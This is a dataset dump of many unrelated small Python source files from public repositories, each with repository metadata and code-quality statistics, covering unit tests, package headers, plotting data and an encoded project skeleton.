] | 2 | 2019-08-07T09:26:07.000Z | 2019-08-26T07:33:55.000Z | test/dragon/test_autograph.py | seetaresearch/Dragon | 494774d3a545f807d483fd9e6e4563cedec6dda5 | [
"BSD-2-Clause"
] | 13 | 2018-03-13T13:08:50.000Z | 2020-05-28T08:20:22.000Z | # ------------------------------------------------------------
# Copyright (c) 2017-present, SeetaTech, Co.,Ltd.
#
# Licensed under the BSD 2-Clause License.
# You should have received a copy of the BSD 2-Clause License
# along with the software. If not, See,
#
# <https://opensource.org/licenses/BSD-2-Clause>
#
# -... | 46.195041 | 104 | 0.581473 | 3,437 | 27,948 | 4.646203 | 0.076811 | 0.186925 | 0.216983 | 0.111153 | 0.841881 | 0.78571 | 0.708122 | 0.623959 | 0.506231 | 0.400401 | 0 | 0.03539 | 0.266996 | 27,948 | 604 | 105 | 46.271523 | 0.744118 | 0.017711 | 0 | 0.436647 | 0 | 0 | 0.00558 | 0 | 0 | 0 | 0 | 0 | 0.387914 | 1 | 0.118908 | false | 0.007797 | 0.015595 | 0.001949 | 0.161793 | 0.001949 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a22218a56a65f130be1f8e04d44c15fa4a0e6f2d | 66 | py | Python | eltyer_investing_algorithm_framework/configuration/constants.py | ELTYER/eltyer-investing-algorithm-framework | 0ae450b1174ae0bb507553818f5d4264fb1b106f | [
"Apache-2.0"
] | null | null | null | eltyer_investing_algorithm_framework/configuration/constants.py | ELTYER/eltyer-investing-algorithm-framework | 0ae450b1174ae0bb507553818f5d4264fb1b106f | [
"Apache-2.0"
] | 2 | 2022-01-06T11:19:50.000Z | 2022-01-06T11:19:53.000Z | eltyer_investing_algorithm_framework/configuration/constants.py | ELTYER/eltyer-investing-algorithm-framework | 0ae450b1174ae0bb507553818f5d4264fb1b106f | [
"Apache-2.0"
] | null | null | null | ELTYER_CLIENT = "ELTYER_CLIENT"
ELTYER_API_KEY = "ELTYER_API_KEY"
| 22 | 33 | 0.818182 | 10 | 66 | 4.8 | 0.4 | 0.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 66 | 2 | 34 | 33 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0.409091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
bf4dfe1b08fcf4f831f508903465e34722aad466 | 324 | py | Python | anasymod/viewer/scansion.py | SubjeBilisim/anasymod | d93f656c21e2aa238f7a5ada50955cc7dc615df1 | [
"BSD-3-Clause"
] | 20 | 2019-05-14T10:13:44.000Z | 2022-03-29T14:34:50.000Z | anasymod/viewer/scansion.py | SubjeBilisim/anasymod | d93f656c21e2aa238f7a5ada50955cc7dc615df1 | [
"BSD-3-Clause"
] | 43 | 2019-07-16T20:54:22.000Z | 2021-08-10T07:06:48.000Z | anasymod/viewer/scansion.py | SubjeBilisim/anasymod | d93f656c21e2aa238f7a5ada50955cc7dc615df1 | [
"BSD-3-Clause"
] | 5 | 2019-10-21T09:53:38.000Z | 2021-09-29T18:08:59.000Z | from anasymod.viewer.viewer import Viewer
from anasymod.util import call
class ScansionViewer(Viewer):
def view(self):
# build command
#cmd = ['open', '/Applications/Scansion.app', self.target.cfg['vcd_path']]
cmd = ['open', '/Applications/Scansion.app']
# run command
call(... | 29.454545 | 82 | 0.641975 | 38 | 324 | 5.447368 | 0.605263 | 0.115942 | 0.183575 | 0.26087 | 0.289855 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225309 | 324 | 11 | 83 | 29.454545 | 0.824701 | 0.302469 | 0 | 0 | 0 | 0 | 0.134529 | 0.116592 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
bf61132d27caeba696a2cf235b885b8e85551f56 | 1,541 | py | Python | tests/test_bitvector.py | devjsc/ledger-api-py | 5dba7ad97a53c52cdf1407fbce96330dcd961e0b | [
"Apache-2.0"
] | null | null | null | tests/test_bitvector.py | devjsc/ledger-api-py | 5dba7ad97a53c52cdf1407fbce96330dcd961e0b | [
"Apache-2.0"
] | null | null | null | tests/test_bitvector.py | devjsc/ledger-api-py | 5dba7ad97a53c52cdf1407fbce96330dcd961e0b | [
"Apache-2.0"
] | null | null | null | import unittest
from fetchai.ledger.bitvector import BitVector
class BitVectorSerialisationTests(unittest.TestCase):
def test_empty(self):
bits = BitVector()
self.assertEqual(len(bits), 0)
self.assertEqual(bits.byte_length, 0)
def test_sets(self):
bits = BitVector(8)
... | 29.075472 | 54 | 0.626217 | 199 | 1,541 | 4.718593 | 0.236181 | 0.255591 | 0.222577 | 0.187433 | 0.533546 | 0.300319 | 0.248136 | 0.188498 | 0.188498 | 0.138445 | 0 | 0.050557 | 0.2427 | 1,541 | 52 | 55 | 29.634615 | 0.75407 | 0 | 0 | 0.125 | 0 | 0 | 0.015574 | 0 | 0 | 0 | 0.002596 | 0 | 0.425 | 1 | 0.175 | false | 0 | 0.05 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
bfb0771dda43ee26f9780d8cd87ade5d5e73cb9c | 35 | py | Python | python/aether/src/tests/scratch_tests.py | MoysheBenRabi/setp | 7619f0bae457e14e2fb41e58bfe517019628c5de | [
"Apache-2.0"
] | 1 | 2021-07-13T12:22:22.000Z | 2021-07-13T12:22:22.000Z | python/aether/src/tests/scratch_tests.py | MoysheBenRabi/setp | 7619f0bae457e14e2fb41e58bfe517019628c5de | [
"Apache-2.0"
] | 1 | 2021-01-04T21:53:56.000Z | 2021-01-04T21:59:36.000Z | python/aether/src/tests/scratch_tests.py | MoysheBenRabi/setp | 7619f0bae457e14e2fb41e58bfe517019628c5de | [
"Apache-2.0"
] | 1 | 2021-09-19T16:18:54.000Z | 2021-09-19T16:18:54.000Z | t = bytearray([65]*3)
print(t[0:2]) | 17.5 | 21 | 0.6 | 8 | 35 | 2.625 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 0.085714 | 35 | 2 | 22 | 17.5 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
44a82b878b102c9b046f61ad7606e921977ae596 | 2,048 | py | Python | mvc/__init__.py | PyXRD/pyxrd | 26bacdf64f3153fa74b8caa62e219b76d91a55c1 | [
"BSD-2-Clause"
] | 27 | 2018-06-15T15:28:18.000Z | 2022-03-10T12:23:50.000Z | mvc/__init__.py | PyXRD/pyxrd | 26bacdf64f3153fa74b8caa62e219b76d91a55c1 | [
"BSD-2-Clause"
] | 22 | 2018-06-14T08:29:16.000Z | 2021-07-05T13:33:44.000Z | mvc/__init__.py | PyXRD/pyxrd | 26bacdf64f3153fa74b8caa62e219b76d91a55c1 | [
"BSD-2-Clause"
] | 8 | 2019-04-13T13:03:51.000Z | 2021-06-19T09:29:11.000Z | # coding=UTF-8
# ex:ts=4:sw=4:et=on
# -------------------------------------------------------------------------
# Copyright (C) 2014 by Mathijs Dumon <mathijs dot dumon at gmail dot com>
# Copyright (C) 2005 by Roberto Cavada <roboogle@gmail.com>
#
# mvc is a framework derived from the original pygtkmvc framework
#... | 30.567164 | 135 | 0.678711 | 262 | 2,048 | 5.267176 | 0.568702 | 0.069565 | 0.026087 | 0.041304 | 0.072464 | 0.072464 | 0.049275 | 0 | 0 | 0 | 0 | 0.01119 | 0.170898 | 2,048 | 66 | 136 | 31.030303 | 0.801531 | 0.757324 | 0 | 0 | 0 | 0 | 0.198704 | 0 | 0 | 0 | 0 | 0.015152 | 0 | 1 | 0 | true | 0 | 0.909091 | 0 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
44f9b134b9dcac472ce2ffd537be0ad6845599c7 | 307 | py | Python | live-coding/L03/line_intersection.py | patricklam/stqam-2017 | 63db2b4e97c0f53e49f3d91696e969ed73d67699 | [
"BSD-2-Clause"
] | 30 | 2016-12-17T01:10:11.000Z | 2018-04-15T22:27:00.000Z | live-coding/L03/line_intersection.py | patricklam/stqam-2017 | 63db2b4e97c0f53e49f3d91696e969ed73d67699 | [
"BSD-2-Clause"
] | null | null | null | live-coding/L03/line_intersection.py | patricklam/stqam-2017 | 63db2b4e97c0f53e49f3d91696e969ed73d67699 | [
"BSD-2-Clause"
] | 14 | 2017-01-09T18:29:15.000Z | 2018-04-14T20:06:46.000Z | class LineSegment:
def __init__(self, x1, x2):
self.x1 = x1; self.x2 = x2;
# this code was found by Michael Thiessen on stackoverflow:
# http://stackoverflow.com/questions/306316/determine-if-two-rectangles-overlap-each-other?rq=1
def intersect(a, b):
return (a.x1 < b.x2) & (a.x2 > b.x1);
| 34.111111 | 95 | 0.680782 | 49 | 307 | 4.183673 | 0.673469 | 0.058537 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 0.169381 | 307 | 8 | 96 | 38.375 | 0.737255 | 0.491857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0.2 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
44fae7fdc3f955faa50c143e448b4cc2db9a1486 | 119 | py | Python | guillotina_client/tests/conftest.py | guillotinaweb/guillotina_client | 3e83ac367093d6220b99192074f7130fefec7fec | [
"BSD-3-Clause"
] | null | null | null | guillotina_client/tests/conftest.py | guillotinaweb/guillotina_client | 3e83ac367093d6220b99192074f7130fefec7fec | [
"BSD-3-Clause"
] | 6 | 2018-07-20T15:51:39.000Z | 2018-07-29T15:46:47.000Z | guillotina_client/tests/conftest.py | guillotinaweb/guillotina_client | 3e83ac367093d6220b99192074f7130fefec7fec | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
pytest_plugins = [
'guillotina_client.tests.fixtures',
'guillotina.tests.fixtures',
]
| 17 | 39 | 0.647059 | 12 | 119 | 6.25 | 0.75 | 0.346667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010101 | 0.168067 | 119 | 6 | 40 | 19.833333 | 0.747475 | 0.176471 | 0 | 0 | 0 | 0 | 0.59375 | 0.59375 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
780f6c12eb9bb3168b339e3c627e1648d6cb6729 | 32 | py | Python | ikdisplay/test/__init__.py | ralphm/ikdisplay | 74ceffc853329259e54348e80bc0517858bac015 | [
"MIT"
] | 2 | 2018-02-04T10:20:53.000Z | 2019-08-19T18:35:33.000Z | ikdisplay/test/__init__.py | ralphm/ikdisplay | 74ceffc853329259e54348e80bc0517858bac015 | [
"MIT"
] | null | null | null | ikdisplay/test/__init__.py | ralphm/ikdisplay | 74ceffc853329259e54348e80bc0517858bac015 | [
"MIT"
] | null | null | null | """
Tests for L{ikdisplay}.
"""
| 8 | 23 | 0.5625 | 4 | 32 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 32 | 3 | 24 | 10.666667 | 0.666667 | 0.71875 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
781a5bdbe1b5ce6d6b40d9990c8f20bf4e40c32d | 99 | py | Python | project/timenow.py | tarabuk1n/Debian-Miniconda-Installation | 02d2524f0ac3efc6203f483c13229384861cff52 | [
"Unlicense"
] | 1 | 2021-09-27T17:33:11.000Z | 2021-09-27T17:33:11.000Z | project/timenow.py | tarabuk1n/Debian-Miniconda-Installation | 02d2524f0ac3efc6203f483c13229384861cff52 | [
"Unlicense"
] | null | null | null | project/timenow.py | tarabuk1n/Debian-Miniconda-Installation | 02d2524f0ac3efc6203f483c13229384861cff52 | [
"Unlicense"
] | null | null | null | from datetime import datetime
time_now = datetime.now()
print(time_now.strftime('%B/%d/%Y:%H/%M')) | 24.75 | 42 | 0.717172 | 17 | 99 | 4.058824 | 0.705882 | 0.202899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080808 | 99 | 4 | 42 | 24.75 | 0.758242 | 0 | 0 | 0 | 0 | 0 | 0.14 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
785c5deda2c348c6209ce4fe9f31e4c989602234 | 189 | py | Python | answers/AkshajV1309/Day14/D14Q1.py | arc03/30-DaysOfCode-March-2021 | 6d6e11bf70280a578113f163352fa4fa8408baf6 | [
"MIT"
] | 22 | 2021-03-16T14:07:47.000Z | 2021-08-13T08:52:50.000Z | answers/AkshajV1309/Day14/D14Q1.py | arc03/30-DaysOfCode-March-2021 | 6d6e11bf70280a578113f163352fa4fa8408baf6 | [
"MIT"
] | 174 | 2021-03-16T21:16:40.000Z | 2021-06-12T05:19:51.000Z | answers/AkshajV1309/Day14/D14Q1.py | arc03/30-DaysOfCode-March-2021 | 6d6e11bf70280a578113f163352fa4fa8408baf6 | [
"MIT"
] | 135 | 2021-03-16T16:47:12.000Z | 2021-06-27T14:22:38.000Z | def remdupli(S):
if len(S)==1:
return S
if S[0]==S[1]:
return remdupli(S[1:])
return S[0]+remdupli(S[1:])
S=input('Enter string: ')
print('Output:',remdupli(S))
| 21 | 31 | 0.544974 | 32 | 189 | 3.21875 | 0.40625 | 0.349515 | 0.23301 | 0.174757 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041379 | 0.232804 | 189 | 8 | 32 | 23.625 | 0.668966 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.5 | 0.125 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
785c82f65e10fa8568b7d5bcdedb3f573878a97c | 2,106 | py | Python | atom/nucleus/python/test/test_roundup_api.py | sumit4-ttn/SDK | b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff | [
"Apache-2.0"
] | null | null | null | atom/nucleus/python/test/test_roundup_api.py | sumit4-ttn/SDK | b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff | [
"Apache-2.0"
] | null | null | null | atom/nucleus/python/test/test_roundup_api.py | sumit4-ttn/SDK | b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Hydrogen Atom API
The Hydrogen Atom API # noqa: E501
OpenAPI spec version: 1.7.0
Contact: info@hydrogenplatform.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import nucleus_api
from nucleus_... | 23.142857 | 73 | 0.660494 | 267 | 2,106 | 4.876404 | 0.247191 | 0.16129 | 0.067588 | 0.092166 | 0.641321 | 0.398618 | 0.368664 | 0.304916 | 0.160522 | 0 | 0 | 0.023964 | 0.266857 | 2,106 | 90 | 74 | 23.4 | 0.819301 | 0.432099 | 0 | 0.321429 | 1 | 0 | 0.008122 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.357143 | false | 0.321429 | 0.178571 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
7863e2dd042213488c755ae3e77694d752809c20 | 5,647 | py | Python | tests/buildframe_test.py | SeBassTian23/Visual-Phenomics-Python | 1ce9f2fff6bf47a7a4a2c9059eb534348b65b2b6 | [
"MIT"
] | null | null | null | tests/buildframe_test.py | SeBassTian23/Visual-Phenomics-Python | 1ce9f2fff6bf47a7a4a2c9059eb534348b65b2b6 | [
"MIT"
] | null | null | null | tests/buildframe_test.py | SeBassTian23/Visual-Phenomics-Python | 1ce9f2fff6bf47a7a4a2c9059eb534348b65b2b6 | [
"MIT"
] | null | null | null | """
Test file corresponding with photosynq_py.buildframe
"""
from unittest import TestCase
# import pandas as pd
# import numpy as np
import visual_phenomics_py as visual_phenomics_py
class BuildframeTest(TestCase):
"""
Test class corresponding with vppy.buildframe
"""
# def setUp(self)... | 47.058333 | 151 | 0.606694 | 685 | 5,647 | 4.80146 | 0.254015 | 0.061721 | 0.054728 | 0.036485 | 0.214351 | 0.172697 | 0.096078 | 0.079051 | 0.079051 | 0.079051 | 0 | 0.004846 | 0.305649 | 5,647 | 119 | 152 | 47.453782 | 0.833971 | 0.854082 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
78675dbb756d2c4d9ec9e8eca68b9e834462ec38 | 23 | py | Python | recipe_scrapers/__version__.py | michael-golfi/recipe-scrapers | 576bc8b92e381bf3d41ca5cb7456ccfacf613d81 | [
"MIT"
] | null | null | null | recipe_scrapers/__version__.py | michael-golfi/recipe-scrapers | 576bc8b92e381bf3d41ca5cb7456ccfacf613d81 | [
"MIT"
] | null | null | null | recipe_scrapers/__version__.py | michael-golfi/recipe-scrapers | 576bc8b92e381bf3d41ca5cb7456ccfacf613d81 | [
"MIT"
] | null | null | null | __version__ = "13.3.0"
| 11.5 | 22 | 0.652174 | 4 | 23 | 2.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0.130435 | 23 | 1 | 23 | 23 | 0.35 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
786c5aa9cb0c411087d561e5f52cc019ce212c1f | 93 | py | Python | app/enquiries/apps.py | uktrade/enquiry-mgmt-tool | 547a195cb9296ad0b1dbc5c8435bfeeae9755bb4 | [
"MIT"
] | 3 | 2020-04-03T12:16:56.000Z | 2020-12-09T18:18:49.000Z | app/enquiries/apps.py | uktrade/enquiry-mgmt-tool | 547a195cb9296ad0b1dbc5c8435bfeeae9755bb4 | [
"MIT"
] | 173 | 2020-03-18T09:31:50.000Z | 2022-03-26T04:19:41.000Z | app/enquiries/apps.py | uktrade/enquiry-mgmt-tool | 547a195cb9296ad0b1dbc5c8435bfeeae9755bb4 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class EnquiriesConfig(AppConfig):
name = "enquiries"
| 15.5 | 33 | 0.763441 | 10 | 93 | 7.1 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16129 | 93 | 5 | 34 | 18.6 | 0.910256 | 0 | 0 | 0 | 0 | 0 | 0.096774 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
788656a031cd884ede2e08fb039e976550b1f0bc | 6,137 | py | Python | Graphs/HW_1_Plot.py | ORFMark/Misc_Projects_and_Programs | 8984b73f36a58e69c569ea1be4a2c193b7ba1061 | [
"MIT"
] | null | null | null | Graphs/HW_1_Plot.py | ORFMark/Misc_Projects_and_Programs | 8984b73f36a58e69c569ea1be4a2c193b7ba1061 | [
"MIT"
] | null | null | null | Graphs/HW_1_Plot.py | ORFMark/Misc_Projects_and_Programs | 8984b73f36a58e69c569ea1be4a2c193b7ba1061 | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import numpy as np
dates = [1971, 1972 , 1974 , 1974 , 1974 , 1974 , 1975 , 1976 , 1976 , 1978 , 1978 , 1979 , 1979 , 1981 , 1982 , 1982 , 1983 , 1984 , 1985 , 1985 , 1985 , 1986 , 1987 , 1987 , 1988 , 1988 , 1989 , 1989 , 1990 , 1991 , 1991 , 1993 , 1994 , 1994 , 1995 , 1995 , 1996 , 19... | 98.983871 | 1,413 | 0.66205 | 939 | 6,137 | 4.29393 | 0.396166 | 0.053571 | 0.074405 | 0.09127 | 0.312748 | 0.27381 | 0.272817 | 0.263393 | 0.263393 | 0.244048 | 0 | 0.580888 | 0.1781 | 6,137 | 61 | 1,414 | 100.606557 | 0.218477 | 0.003748 | 0 | 0 | 0 | 0 | 0.020615 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025 | false | 0 | 0.05 | 0 | 0.075 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
78b64dfa8f0d8b089a4968eb249d4e1663c0035e | 6,872 | py | Python | cactus/skeleton.py | hzdg/Cactus | 1b20944fcdaa68bf76623236c20c6c5486b76cf0 | [
"BSD-3-Clause"
] | null | null | null | cactus/skeleton.py | hzdg/Cactus | 1b20944fcdaa68bf76623236c20c6c5486b76cf0 | [
"BSD-3-Clause"
] | null | null | null | cactus/skeleton.py | hzdg/Cactus | 1b20944fcdaa68bf76623236c20c6c5486b76cf0 | [
"BSD-3-Clause"
] | null | null | null | data = """
H4sIAAAAAAAAA+1dzW/jSHb3BlksTAR7WCDJtUY9BqVtiyIpkpI9lnd7PT3p
znTPGGP37M52N3opsiTRpkgNi7StNIxsjvkPcthrgABJLjkm/0Cwh1xy20v+
lbxXJEVZkj9kq2nPTP3QbpHF+q56H3xVr7hvnz2jtkujBjumPo3DYG3lUFW1
ZZpkrcVR/KoZdNMimq429WbLsFoGUbVmy2qukbPVV2UeCYvtCKpyHNI7NT1t
Cpn8fkegtUnfcztau2VpmtpqtSXNIgmEtEzDaGnGlqSrxIm9Ie1oTWNL03Vj
S8cw... | 59.241379 | 60 | 0.923312 | 471 | 6,872 | 13.471338 | 0.949045 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.165211 | 0.017026 | 6,872 | 115 | 61 | 59.756522 | 0.774093 | 0 | 0 | 0 | 0 | 0.026087 | 0.997963 | 0.981374 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
78d18fd1889dd78c375b64c48b9effa0ea68c1c4 | 852 | py | Python | sidekick/models/__init__.py | cybera/netbox_sidekick | bcb5b7946b246c65a5e4ac2294e1b4e9bc706e96 | [
"Apache-2.0"
] | 1 | 2020-07-14T15:36:45.000Z | 2020-07-14T15:36:45.000Z | sidekick/models/__init__.py | cybera/netbox_sidekick | bcb5b7946b246c65a5e4ac2294e1b4e9bc706e96 | [
"Apache-2.0"
] | null | null | null | sidekick/models/__init__.py | cybera/netbox_sidekick | bcb5b7946b246c65a5e4ac2294e1b4e9bc706e96 | [
"Apache-2.0"
] | null | null | null | from .accounting import AccountingSource # noqa: F401
from .accounting import AccountingSourceCounter # noqa: F401
from .accounting import AccountingProfile # noqa: F401
from .accounting import BandwidthProfile # noqa: F401
from .networkservice import LogicalS... | 65.538462 | 70 | 0.656103 | 73 | 852 | 7.657534 | 0.246575 | 0.171735 | 0.236136 | 0.325581 | 0.550984 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063758 | 0.300469 | 852 | 12 | 71 | 71 | 0.874161 | 0.153756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
15353a084a6e405cb79f647e30f117028747a8a5 | 453 | py | Python | assignements/test_S3.py | YoanRouleau/BachelorDIM-Lectures-Algorithms-2020 | eafb79a096325dc9bf75c3a20520edb191bfa3e1 | [
"MIT"
] | null | null | null | assignements/test_S3.py | YoanRouleau/BachelorDIM-Lectures-Algorithms-2020 | eafb79a096325dc9bf75c3a20520edb191bfa3e1 | [
"MIT"
] | null | null | null | assignements/test_S3.py | YoanRouleau/BachelorDIM-Lectures-Algorithms-2020 | eafb79a096325dc9bf75c3a20520edb191bfa3e1 | [
"MIT"
] | null | null | null | import S3_imgproc_tools as tobetested
import pytest
import numpy as np
def test_invert_color_numpy_tuNone():
with pytest.raises(ValueError):
tobetested.invert_color_numpy(None)
def test_invert_color_numpy_tuArray():
with pytest.raises(TypeError):
tobetested.invert_color_numpy(1)
